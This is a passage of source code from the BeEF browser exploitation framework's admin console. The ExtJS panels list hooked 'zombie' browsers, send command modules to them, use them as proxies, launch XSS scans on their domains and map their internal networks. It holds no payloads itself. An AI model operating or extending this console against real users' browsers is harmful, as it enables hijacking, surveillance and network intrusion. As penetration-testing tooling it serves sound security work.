'zombie-port', header: "Port", dataIndex: 'port', sortable: true, width: 20, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); }, }, { id: 'zombie-browser_name', header: "Browser", dataIndex: 'name', sortable: true, width: 20, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'zombie-browser_version', header: "Browser Version", dataIndex: 'version', sortable: true, width: 20, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'zombie-os', header: "OS", dataIndex: 'os', sortable: true, width: 20, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'zombie-os_version', header: "OS Version", dataIndex: 'os_version', sortable: true, width: 20, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'zombie-first_seen', header: "First Seen", dataIndex: 'firstseen', sortable: true, width: 25, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(new Date(1000*value).toUTCString()); } }, { id: 'zombie-last_seen', header: "Last Seen", dataIndex: 'lastseen', sortable: true, width: 25, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(new Date(1000*value).toUTCString()); } }, ]; ZombieDataGrid.superclass.constructor.call(this, { region: 'center', id: 'topic-grid', loadMask: {msg:'Loading Feed...'}, sm: new Ext.grid.RowSelectionModel({ singleSelect: true }), viewConfig: { forceFit: true }, listeners: { afterrender: function(datagrid) { datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"id", dir:"ASC"}}); }, rowclick: function(grid, rowIndex) { var r = grid.getStore().getAt(rowIndex).data; }, containercontextmenu: function(view, e) { e.preventDefault(); }, rowcontextmenu: function(grid, rowIndex, e) { e.preventDefault(); grid.getSelectionModel().selectRow(rowIndex); if (!!grid.rowCtxMenu) { grid.rowCtxMenu.destroy(); } //var record = grid.selModel.getSelected(); grid.rowCtxMenu = new Ext.menu.Menu({ //add a context menu that will contain common action shortcuts for HBs items: <%= context_menu = [] sep = { xtype: 'menuseparator' } if (BeEF::Core::Configuration.instance.get("beef.extension.proxy.enable")) context_menu << { id: 'zombie_grid_use_as_proxy', text: 'Use as Proxy', iconCls: 'zombie-tree-ctxMenu-proxy' } context_menu << sep end if (BeEF::Core::Configuration.instance.get("beef.extension.xssrays.enable")) context_menu << { id: 'zombie_grid_xssrays_hooked_origin', text: 'Launch XssRays on Hooked Domain', iconCls: 'zombie-tree-ctxMenu-xssrays' } context_menu << sep end if (BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable")) context_menu << { id: 'zombie_grid_rtc_caller', text: 'Set as WebRTC Caller', iconCls: 'zombie-tree-ctxMenu-rtc' } context_menu << { id: 'zombie_grid_rtc_receiver', text: 'Set as WebRTC Receiver and GO', iconCls: 'zombie-tree-ctxMenu-rtc', activated: false } context_menu << sep end context_menu << { id: 'zombie_grid_delete_zombie', text: 'Delete Zombie', iconCls: 'zombie-tree-ctxMenu-delete' } context_menu.to_json %>, listeners: { itemclick: function(item, object) { var record = grid.selModel.getSelected(); var hb_id = record.get('session'); switch (item.id) { case 'zombie_grid_use_as_proxy': Ext.Ajax.request({ url: '/api/proxy/setTargetZombie?token=' + beefwui.get_rest_token(), method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: {'hb_id': escape(hb_id)} }); break; case 'zombie_grid_xssrays_hooked_origin': Ext.Ajax.request({ url: '/api/xssrays/scan/' + escape(hb_id) + '?token=' + beefwui.get_rest_token(), method: 'POST' }); break; case 'zombie_grid_rtc_caller': beefwui.rtc_caller = hb_id; break; case 'zombie_grid_rtc_receiver': beefwui.rtc_receiver = hb_id; var url = "/api/webrtc/go?token=" + beefwui.get_rest_token(); Ext.Ajax.request({ url: url, method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: { 'from': beefwui.get_hb_id(beefwui.rtc_caller), 'to': beefwui.get_hb_id(beefwui.rtc_receiver), 'verbose': true } }); break; case 'zombie_grid_delete_zombie': var token = beefwui.get_rest_token(); if (!confirm('Are you sure you want to delete zombie [id: ' + hb_id + '] ?\nWarning: this will remove all zombie related data, including logs and command results!')) { //commands_statusbar.update_fail('Cancelled'); return; } //commands_statusbar.update_sending('Removing zombie [id: ' + hb_id + '] ...'); var url = "/api/hooks/" + escape(hb_id) + "/delete?token=" + token; Ext.Ajax.request({ url: url, method: 'GET' }); break; } } } }); grid.rowCtxMenu.showAt(e.getXY()); } } }) // ZombieDataGrid.superclass } Ext.extend(ZombieDataGrid, Ext.grid.GridPanel, {}); Ext.override(Ext.PagingToolbar, { doRefresh: function() { delete this.store.lastParams; this.doLoad(this.cursor); } }); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // ZombieTab = function(zombie) { main_tab = new ZombieTab_DetailsTab(zombie); log_tab = new ZombieTab_LogTab(zombie); commands_tab = new ZombieTab_Commands(zombie); proxy_tab = new ZombieTab_Requester(zombie); xssrays_tab = new ZombieTab_XssRaysTab(zombie); network_tab = new ZombieTab_Network(zombie); webrtc_tab = new ZombieTab_Rtc(zombie); ZombieTab.superclass.constructor.call(this, { id:"current-browser", activeTab: 0, loadMask: {msg:'Loading browser...'}, title: "Current Browser", autoScroll: true, closable: false, viewConfig: { forceFit: true, type: 'fit' }, items:[ main_tab, log_tab, commands_tab, proxy_tab, xssrays_tab, network_tab, webrtc_tab ], listeners:{ afterrender:function(component){ // Hide tabs for disabled functionality <%= BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") ? '' : 'component.hideTabStripItem(webrtc_tab);' %> <%= BeEF::Core::Configuration.instance.get("beef.extension.xssrays.enable") ? '' : 'component.hideTabStripItem(xssrays_tab);' %> <%= BeEF::Core::Configuration.instance.get("beef.extension.network.enable") ? '' : 'component.hideTabStripItem(network_tab);' %> } } }); }; Ext.extend(ZombieTab, Ext.TabPanel, { listeners: { activate: function(panel) {}, deactivate: function(panel) {}, close: function(panel) {} } }); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/ZombieTabs.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // ZombieTabs = function(zombie_tree_list) { //a variable to store the list of trees. this.tree_items = new Array; //we store the list of trees in a correct array format for ExtJs for(tree_name in zombie_tree_list) { var tree = zombie_tree_list[tree_name]; //set the tree as distributed if it's not the basic tree if(tree_name != "basic") { tree.tree_configuration["distributed"] = true; } this.tree_items.push(tree); } /* * Update each tree with a new configuration and regenerates them. * @param: {Literal Object} updated configuration for the trees */ function update_trees_configuration(configuration) { var tree_panel = Ext.getCmp("zombie-tree-tabs-panel"); var trees = tree_panel.items; Ext.each(trees.items, function(tree) { tree.updateConfiguration(configuration); tree.reload(); }); }; /* the "sort by" functionality is not used yet //the bottom bar for that panel this.bottom_bar = new Ext.Toolbar({ items: [ { xtype: 'tbtext', text: 'Sort by:' }, { //list the hooked browsers by domain text: 'domain', listeners: { click: function(b) { update_trees_configuration({'sub-branch' : 'domain'}); } } }, '-', { //list the hooked browsers by external ip text: 'external ip', listeners: { click: function() { alert('under construction'); } } } ] }); */ MainPanel.superclass.constructor.call(this, { id: 'zombie-tree-tabs-panel', title: 'Hooked Browsers', headerAsText: true, tabPosition: 'bottom', region:'west', activeTab: 0, margins:'0 5 5 5', width: 225, minSize: 175, maxSize: 400, deferredRender: false, items: this.tree_items // bbar: this.bottom_bar }); }; Ext.extend(ZombieTabs, Ext.TabPanel); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // var ZombiesMgr = function(zombies_tree_lists) { //save the list of trees in the object this.zombies_tree_lists = zombies_tree_lists; // this is a helper class to create a zombie object from a JSON hash index this.zombieFactory = function(index, zombie_array){ var ip = zombie_array[index]["ip"]; var session = zombie_array[index]["session"]; var browser_name = zombie_array[index]["name"]; var browser_version = zombie_array[index]["version"]; var os_name = zombie_array[index]["os"]; var os_version = zombie_array[index]["os_version"]; var hardware = zombie_array[index]["hardware"]; var domain = zombie_array[index]["domain"]; var port = zombie_array[index]["port"]; var city = zombie_array[index]["city"]; var country = zombie_array[index]["country"]; var country_code = zombie_array[index]["country_code"]; var date_stamp = zombie_array[index]["date_stamp"]; var new_zombie = { 'id': index, 'ip': ip, 'session': session, 'check': false, 'domain': domain, 'port': port, 'browser_name': browser_name, 'browser_version': browser_version, 'os_name': os_name, 'os_version': os_version, 'hw_name': hardware, 'city': city, 'country': country, 'country_code': country_code, 'date': date_stamp }; return new_zombie; } /* * Update the hooked browser trees * @param: {Literal Object} an object containing the list of offline and online hooked browsers. */ this.updateZombies = function(hooked_browsers){ var offline_hooked_browsers = hooked_browsers["offline"]; var online_hooked_browsers = hooked_browsers["online"]; var new_zombie_list = new Array(); for(tree_type in this.zombies_tree_lists) { hooked_browsers_tree = this.zombies_tree_lists[tree_type]; //we compare and remove the hooked browsers from online and offline branches for each tree. hooked_browsers_tree.compareAndRemove(hooked_browsers); //add an offline browser to the tree for(var i in offline_hooked_browsers) { var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers); hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false)); new_zombie_list.push(offline_hooked_browser); } //add an online browser to the tree for(var i in online_hooked_browsers) { var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers); hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false)); new_zombie_list.push(online_hooked_browser); } //expand the online hooked browser tree lists if(hooked_browsers_tree.online_hooked_browsers_treenode.childNodes.length > 0) { hooked_browsers_tree.online_hooked_browsers_treenode.expand(true); } //expand the offline hooked browser tree lists if(hooked_browsers_tree.offline_hooked_browsers_treenode.childNodes.length > 0) { hooked_browsers_tree.offline_hooked_browsers_treenode.expand(true); } } beefwui.hooked_browsers = new_zombie_list; } }; ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/common.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // var zombie_execute_button_text = 'Execute' var zombie_reexecute_button_text = 'Re-execute' var re_execute_command_title = 'Re-execute command' /** * Generates fields for the form used to send command modules. * * @param: {Object} the form to generate the field in. * @param: {String/Object} the field name or it's definition as an object. * @param: {String} the value that field should have. * @param: {Boolean} set to true if you want the field to be disabled. * @param: {Object} the targeted Zombie. */ function generate_form_input_field(form, input, value, disabled, zombie) { var input_field = null; var input_def = null; if (!input['ui_label']) input['ui_label'] = input['name']; if (!input['type']) input['type'] = 'textfield'; if (!input['value']) input['value'] = ''; input_def = { id: 'form-zombie-'+zombie.session+'-field-'+input['name'], name: 'txt_'+input['name'], fieldLabel: input['ui_label'], anchor:'70%', allowBlank: false, value: input['value'] }; // create the input field object based upon the type supplied switch(input['type'].toLowerCase()) { case 'textfield': input_field = new Ext.form.TextField(input_def); break; case 'textarea': input_field = new Ext.form.TextArea(input_def); break; case 'hidden': input_field = new Ext.form.Hidden(input_def); break; case 'label': input_def['fieldLabel'] = '' input_def['html'] = input['html']; input_field = new Ext.form.Label(input_def); break; case 'checkbox': input_def['name'] = 'chk_' + input['name']; input_field = new Ext.form.Checkbox(input_def); break; case 'checkboxgroup': input_def['name'] = 'chkg_' + input['name']; input_def['items'] = input['items']; input_field = new Ext.form.CheckboxGroup(input_def); break; case 'combobox': input_def['name'] = 'com_' + input['name']; input_def['triggerAction'] = 'all'; if(input.reloadOnChange || input.defaultPayload != null) { // defined in msfcommand.rb Ext.getCmp("payload-panel").show(); // initially the panel will be empty so it may appear still hidden input_def['listeners'] = { // update the payload options when one of them is selected 'select': function(combo, value) { get_dynamic_payload_details(combo.getValue(), zombie); }, // set the default payload value as defined in defaultPayload 'afterrender': function(combo){ combo.setValue(input.defaultPayload); get_dynamic_payload_details(combo.getValue(),zombie); } }; } // create store to contain options for the combo box input_def['store'] = new Ext.data.ArrayStore( { fields: input['store_fields'], data: input['store_data'] }); input_field = new Ext.form.ComboBox(input_def); break; default: input_field = new Ext.form.TextField(input_def); break; } // add the properties for the input element, for example: widths, default values and the html lables for(definition in input) { if( (typeof input[definition] == 'string') && (definition != 'type') && (definition != 'name')) { input_field[definition] = input[definition]; } } if(value) input_field.setValue(value); if(disabled) input_field.setDisabled(true); form.add(input_field); return input_field; }; function get_dynamic_payload_details(payload, zombie) { modid = Ext.getCmp('form-zombie-' + zombie.session + '-field-mod_id').value; Ext.Ajax.request({ loadMask: true, url: '<%= @base_path %>/modules/select/commandmodule.json', method: 'POST', params: 'command_module_id=' + modid + '&' + 'payload_name=' + payload, success: function(resp) { var module = Ext.decode(resp.responseText); module = module.command_modules[1][0]; Ext.getCmp("payload-panel").removeAll(); // clear the panel contents Ext.each(module.data , function(input){ // generate each of the payload input options generate_form_input_field(Ext.getCmp("payload-panel"), input, null, false, zombie); }); Ext.getCmp("payload-panel").doLayout(); } }) } /** * Generate a panel for an command module that already has been executed. * * @param: {Object} the Panel in the UI to generate the form into. * @param: {Integer} the command id to generate the panel for. * @param: {Object} the targeted Zombie. * @param: {Object} the status bar. */ function genExistingExploitPanel(panel, command_id, zombie, sb) { if(typeof panel != 'object') { Ext.beef.msg('Bad!', 'Incorrect panel chosen.'); return; } sb.showBusy(); // status bar update panel.removeAll(); Ext.Ajax.request({ url: '<%= @base_path %>/modules/select/command.json', method: 'POST', params: 'command_id=' + command_id, loadMask: true, success: function(resp) { var xhr = Ext.decode(resp.responseText); if(!xhr || !xhr.definition) { Ext.beef.msg('Error!', 'We could not retrieve the definition of that command module...'); return; } var form = new Ext.form.FormPanel({ url: '<%= @base_path %>/modules/commandmodule/reexecute', id: 'form-command-module-zombie-'+zombie.session, border: false, labelWidth: 75, defaultType: 'textfield', title: re_execute_command_title, bodyStyle: 'padding: 5px;', items: [new Ext.form.Hidden({name: 'command_id', value: command_id})], buttons:[{ text: zombie_reexecute_button_text, handler: function() { var form = Ext.getCmp('form-command-module-zombie-'+zombie.session); if(!form || !form.getForm().isValid()) return; sb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update var command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab command_module_form.submit({ params: { // insert the nonce with the form nonce: Ext.get ("nonce").dom.value }, success: function() { sb.update_sent("Commands sent to zombie " + zombie.ip); // status bar update }, failure: function() { sb.update_fail("Error!"); // status bar update } }); } }] }); Ext.each(xhr.definition.Data, function(input) { var value = null; if(typeof input == 'string') { value = xhr.data[input]; } if(typeof input == 'object' && typeof input[0] == 'object') { value = xhr.data[input[0]['name']] } generate_form_input_field(form, input, value, false, zombie); }); var grid_store = new Ext.data.JsonStore({ url: '<%= @base_path %>/modules/select/command_results.json?command_id='+command_id, storeId: 'command-results-store-zombie-'+zombie.session, root: 'results', remoteSort: false, autoDestroy: true, fields: [ {name: 'date', type: 'date', dateFormat: 'timestamp'}, {name: 'data'} ] }); Ext.TaskMgr.start({ run: function(task) { var grid = Ext.getCmp('command-results-grid-zombie-'+zombie.session); //here we have to check for the existance of the grid before reloading //because we do not want to reload the store if the tab has been closed. if(grid_store && grid) { grid_store.reload(); } }, interval: 4000 }); var grid = new Ext.grid.GridPanel({ id: 'command-results-grid-zombie-'+zombie.session, store: grid_store, border: false, hideHeaders: true, title: 'Command results', viewConfig: { forceFit:true }, // render command responses columns:[new Ext.grid.RowNumberer({width: 20}), { dataIndex: 'date', sortable: false, renderer: function(value, p, record) { html = String.format("
    {0}
    ", value); html += '

    '; for(index in record.data.data) { result = record.data.data[index]; index = index.toString().replace('_', ' '); // Check for a base64 encoded image var header = "image=data:image/(jpg|png);base64,"; var re = new RegExp(header, ""); if (result.match(re)) { // Render the image try { var img = result.replace(/[\r\n]/g, ''); base64_data = window.atob(img.replace(re, '')); html += String.format('
    ', img.replace(/^image=/, '')); } catch(e) { console.log("Received invalid base64 encoded image string: "+e.toString()); html += String.format('{0}: {1}
    ', index, result); } // output escape everything else, but allow the
    tag for better rendering. } else { html += String.format('{0}: {1}
    ', index, $jEncoder.encoder.encodeForHTML(result).replace(/<br>/g,'
    ')); } } html += '

    '; return html; } }] }); grid.store.load(); var accordion = new Ext.Panel({ id: 'command-results-accordion-zombie-'+zombie.session, layout:'accordion', border: false, items: [grid, form] }); panel.add(accordion); panel.doLayout(); sb.update_ready(); // status bar update } }); }; /** * Generate a panel for an command module. * * @param: {Object} the Panel in the UI to generate the form into. * @param: {String} the path to the command module file in the framework. * @param: {String} the name of the command module. * @param: {Object} the targeted Zombie. * @param: {Object} the status bar. */ function genNewExploitPanel(panel, command_module_id, command_module_name, zombie, sb) { if(typeof panel != 'object') { Ext.beef.msg('Bad!', 'Incorrect panel chosen.'); return; } var xgrid = Ext.getCmp('command-module-grid-zombie-'+zombie.session); var sb = Ext.getCmp('commands-bbar-zombie-'+zombie.session); panel.removeAll(); if(command_module_name == 'some special command module') { //HERE we will develop specific panels for the command modules that require it. } else { Ext.Ajax.request({ loadMask: true, url: '<%= @base_path %>/modules/select/commandmodule.json', method: 'POST', params: 'command_module_id=' + command_module_id, success: function(resp) { var module = Ext.decode(resp.responseText); if(!module) { Ext.beef.msg('Error!', 'We could not retrieve the definition of that command_module...'); return; } var submiturl = '<%= @base_path %>/modules/commandmodule/new'; if(module.dynamic){ submiturl = '<%= @base_path %>/modules/commandmodule/dynamicnew'; } module = module.command_modules[1]; var form = new Ext.form.FormPanel({ url: submiturl, id: 'form-command-module-zombie-'+zombie.session, border: false, labelWidth: 75, defaultType: 'textfield', title: module.Name, autoScroll: true, bodyStyle: 'padding: 5px;', items: [ new Ext.form.Hidden({name: 'zombie_session', value: zombie.session}), new Ext.form.Hidden({name: 'command_module_id', value: command_module_id}), new Ext.form.DisplayField({ name: 'command_module_description', fieldLabel: 'Description', fieldClass: 'command-module-panel-description', value: module.Description }), new Ext.form.DisplayField({ name: 'command_module_id_visible', fieldLabel: 'Id', fieldClass: 'command-module-panel-description', value: command_module_id }) ], buttons:[{ text: zombie_execute_button_text, handler: function() { var form = Ext.getCmp('form-command-module-zombie-'+zombie.session), command_module_params = new Array(); if(!form || !form.getForm().isValid()) { sb.update_fail("Please complete all input fields!"); // status bar update return; } sb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update var command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab command_module_form.submit({ params: { // insert the nonce with the form nonce: Ext.get ("nonce").dom.value }, success: function() { xgrid.i = 0; xgrid.store.reload({ //reload the command module grid params: { // insert the nonce with the request to reload the grid nonce: Ext.get ("nonce").dom.value } }); sb.update_sent("Commands sent to zombie " + zombie.ip); // status bar update }, failure: function() { sb.update_fail("Error!"); // status bar update } }); } }] }); // create the panel and hide it var payload_panel = new Ext.Panel({ id: 'payload-panel', // used with Ext.GetCmp('payload-panel') bodyStyle: 'padding:10px;', // we can assign styles to the main div layout : 'form', bodyBorder: false, height: 200, hidden: true, border: false //we can remove the border of the panel }); Ext.each(module.Data, function(input){ generate_form_input_field(form, input, null, false, zombie)} ); form.add(payload_panel); panel.add(form); panel.doLayout(); // hide the load mask after rendering of the config panel is done panel.configLoadMask.hide(); } }); } }; ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The command tab panel. Listing the list of commands sent to the zombie. * Loaded in /ui/panel/index.html */ ZombieTab_Commands = function(zombie) { var originalRoot; var command_module_config = new Ext.Panel({ id: 'zombie-command-module-config-'+zombie.session, region: 'center', border: true, layout: 'fit' }); var command_module_grid = new Ext.grid.GridPanel({ store: new Ext.data.JsonStore({ url: '<%= @base_path %>/modules/commandmodule/commands.json', params: { // insert the nonce with the form nonce: Ext.get ("nonce").dom.value }, autoDestroy: false, autoLoad: false, root: 'commands', fields: ['label', 'creationdate', 'id', 'object_id'], sortInfo: {field: 'id', direction: 'ASC'} }), id: 'command-module-grid-zombie-'+zombie.session, title: "Module Results History", sortable: true, autoWidth: false, region: 'west', stripeRows: true, autoScroll: true, border: true, width: 260, i:0, minSize: 160, maxSize: 300, split: true, view: new Ext.grid.GridView({ forceFit: true, emptyText: "The results from executed command modules will be listed here.", enableRowBody:true }), columns: [ {header: 'id', width: 35, sortable: true, dataIndex: 'id'}, {header: 'date', width: 100, sortable: true, dataIndex: 'creationdate'}, {header: 'label', sortable: true, dataIndex: 'label', renderer: function(value, metaData, record, rowIndex, colIndex, store) { return 'command '+($jEncoder.encoder.encodeForHTML(record.get("id")+1)); } }, {header: 'object_id', sortable: true, dataIndex: 'object_id', hidden: true, menuDisabled: true} ] }); command_module_grid.on('rowclick', function(grid, rowIndex, e) { var r = grid.getStore().getAt(rowIndex).data; var command_id = r.object_id || null; if(!command_id) return; genExistingExploitPanel(command_module_config, command_id, zombie, commands_statusbar); }); LoadCommandPanelEvent = function(node,keyclick) { if(!node.leaf && !keyclick) { node.toggle(); } else if (!node.leaf && keyclick) { return; } else { command_module_config.configLoadMask = new Ext.LoadMask(Ext.getBody(), {msg:"Please wait, module config is loading..."}); command_module_config.configLoadMask.show(); command_module_grid.i = 0; command_module_grid.store.baseParams = {command_module_id: node.attributes.id, zombie_session: zombie.session}; command_module_grid.store.reload({ //reload the command module grid params: { // insert the nonce with the request to reload the grid nonce: Ext.get ("nonce").dom.value } }); genNewExploitPanel(command_module_config, node.id, node.text, zombie, commands_statusbar); commands_statusbar.showValid('Ready'); } }; var command_module_tree_search = new Ext.form.TextField( { emptyText: 'Search', id: 'module-search-' + zombie.session, style: { width: '100%' }, listeners: { specialkey : function(field,e){ if(e.getKey() == e.ENTER){ if( field.getValue() ){ var root = { text: "Search results", children: search_module(originalRoot, field.getValue()) }; command_module_tree.setRootNode(root); } else command_module_tree.setRootNode(originalRoot); } } } }); var command_module_tree_search_panel = new Ext.Panel({ id: "zombie-command-modules-search-panel"+zombie.session, items: [ command_module_tree_search ], width: 190, minSize: 190, maxSize: 500, region: 'north' }); var command_module_tree = new Ext.tree.TreePanel({ id: "zombie-command-modules"+zombie.session, region: 'center', width: 190, minSize: 190, maxSize: 500, useArrows: true, autoScroll: true, animate: true, containerScroll: true, rootVisible: false, root: {nodeType: 'async'}, loader: new Ext.tree.TreeLoader({ dataUrl: '<%= @base_path %>/modules/select/commandmodules/tree.json', baseParams: {zombie_session: zombie.session}, listeners:{ beforeload: function(treeloader, node, callback) { // Show loading mask on body, to prevent the user interacting with the UI treeloader.treeLoadingMask = new Ext.LoadMask(Ext.getBody(), {msg:"Please wait, command tree is loading..."}); treeloader.treeLoadingMask.show(); return true; }, load: function(treeloader, node, response) { // Hide loading mask after tree is fully loaded treeloader.treeLoadingMask.hide(); originalRoot = command_module_tree.root.childNodes; return true; } } }), listeners: { 'click': function(node) { LoadCommandPanelEvent(node,false); }, 'afterrender' : function() { }, 'selectionchange' : function() { }, 'activate' : function() { }, 'deactivate' : function() { }, 'select' : function() { }, 'keyup' : function() { }, 'render' : function(c) { c.getEl().on('keyup', function(a) { LoadCommandPanelEvent(Ext.getCmp('zombie-command-modules'+zombie.session).getSelectionModel().getSelectedNode(),true); }); } } }); var command_module_tree_container = new Ext.Panel({ id: "zombie-command-modules-container"+zombie.session, title: "Module Tree", border: true, width: 190, minSize: 190, maxSize: 500, // if some command module names are even longer, adjust this value layout: 'border', region: 'west', split: true, items: [ command_module_tree_search_panel,command_module_tree ], }); var commands_statusbar = new Beef_StatusBar(zombie.session); ZombieTab_Commands.superclass.constructor.call(this, { id: 'zombie-'+zombie.session+'-command-module-panel', title:'Commands', layout: 'fit', region: 'center', items: { layout: 'border', border: false, // enable width resize of the command_module_tree defaults: { collapsible: false, split: true }, items: [ command_module_tree_container, new Ext.Panel({ id: 'zombie-command-module-west-'+zombie.session, region: 'center', layout: 'border', border: false, items: [command_module_grid, command_module_config] })] }, bbar: commands_statusbar }); var sb = Ext.getCmp('command-module-bbar-zombie-'+zombie.session); }; Ext.extend(ZombieTab_Commands, Ext.Panel, { listeners: { close: function(panel) {} } }); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The main Tab panel for the selected zombie. */ ZombieTab_DetailsTab = function(zombie) { var zombieDetails = new BrowserDetailsDataGrid('/api/browserdetails/' + zombie.session, 30); zombieDetails.border = false; ZombieTab_DetailsTab.superclass.constructor.call(this, { id: 'browser-details-tab' + zombie.session, layout: 'fit', title: 'Details', items: { layout: 'border', border: false, items:[zombieDetails] } }); }; Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {} ); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The log Tab panel for the selected zombie. */ ZombieTab_LogTab = function(zombie) { var zombieLog = new LogsDataGrid('/api/logs/' + zombie.session ,30); zombieLog.border = false; ZombieTab_LogTab.superclass.constructor.call(this, { id: 'zombie-log-tab' + zombie.session, layout: 'fit', title: 'Logs', items: { layout: 'border', border: false, items:[zombieLog] } }); }; Ext.extend(ZombieTab_LogTab, Ext.Panel, {} ); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The Network tab panel for the selected zombie browser. * Loaded in /ui/panel/index.html */ ZombieTab_Network = function(zombie) { // The status bar. var commands_statusbar = new Beef_StatusBar('network-bbar-zombie-'+zombie.session); // RESTful API token var token = beefwui.get_rest_token(); // get module ID from name var get_module_id = function(name){ var id = ""; jQuery.ajax({ type: 'GET', url: "/api/modules/search/" + name + "?token=" + token, async: false, processData: false, success: function(data){ id = data.id; }, error: function(){ commands_statusbar.update_fail("Error getting module id for '"+name+"'"); } }); return id; } /* * arrayUnique() */ var arrayUnique = function(a) { return a.reduce(function(p, c) { if (p.indexOf(c) < 0) p.push(c); return p; }, []); }; /* * Draw the network map with vis.js */ var draw = function() { var hosts = null; var url = '/api/network/hosts/'+zombie.session+'?token='+token; jQuery.ajax({ contentType: 'application/json', dataType: 'json', type: 'GET', url: url, async: false, processData: false, loadMask: {msg:'Loading network hosts...'}, success: function(data){ hosts = data; }, error: function(){ commands_statusbar.update_fail('Error retrieving network hosts'); } }); var network = null; var DIR = '<%= @base_path %>/media/images/icons/'; var EDGE_LENGTH_MAIN = 150; var EDGE_LENGTH_SUB = 50; var nodes = []; var edges = []; if (hosts.count == '0') { commands_statusbar.update_fail('Found no network hosts'); return false; } nodes.push({id: 1000, label: '', image: DIR + '../beef.png', shape: 'image'}); var HB_ID = 1001; nodes.push({id: HB_ID, label: 'Hooked Browser', image: DIR + 'Apps-internet-web-browser-icon.png', shape: 'image'}); edges.push({from: 1000, to: HB_ID, length: EDGE_LENGTH_SUB}); // add subnet nodes var subnets = []; for (var key in hosts.hosts) { if (isNaN(hosts.hosts[key].id)) continue; var ip = hosts.hosts[key].ip; var first = ip.split('.')[0]; subnets.push(first); } subnets = arrayUnique(subnets); for (var i=0; i<=subnets.length; i++) { if (isNaN(subnets[i])) continue; nodes.push({id: subnets[i], label: subnets[i]+'.0.0.0/8', image: DIR + 'Network-Pipe-icon.png', shape: 'image'}); edges.push({from: HB_ID, to: subnets[i], length: EDGE_LENGTH_SUB}); } // add host nodes var i = 2000; for (var key in hosts.hosts) { if (isNaN(hosts.hosts[key].id)) continue; var ip = hosts.hosts[key].ip; var hostname = hosts.hosts[key].hostname; var type = hosts.hosts[key].type; var os = hosts.hosts[key].os; var label = ip; if (hostname) label += ' ['+hostname+']'; if (os) label += "\n" + os; var icon = 'pc.png'; nodes.push({id: i, label: label, image: DIR + icon, shape: 'image'}); edges.push({from: ip.split('.')[0], to: i, length: EDGE_LENGTH_SUB}); i++; } var container = document.getElementById('zombie_network'); var data = { nodes: nodes, edges: edges }; var options = {}; network = new vis.Network(container, data, options); } /* * Network Map panel */ var map_panel = new Ext.Panel({ id: 'network-map-panel-zombie-'+zombie.session, title: 'Map', layout: 'fit', autoDestroy: true, html: '
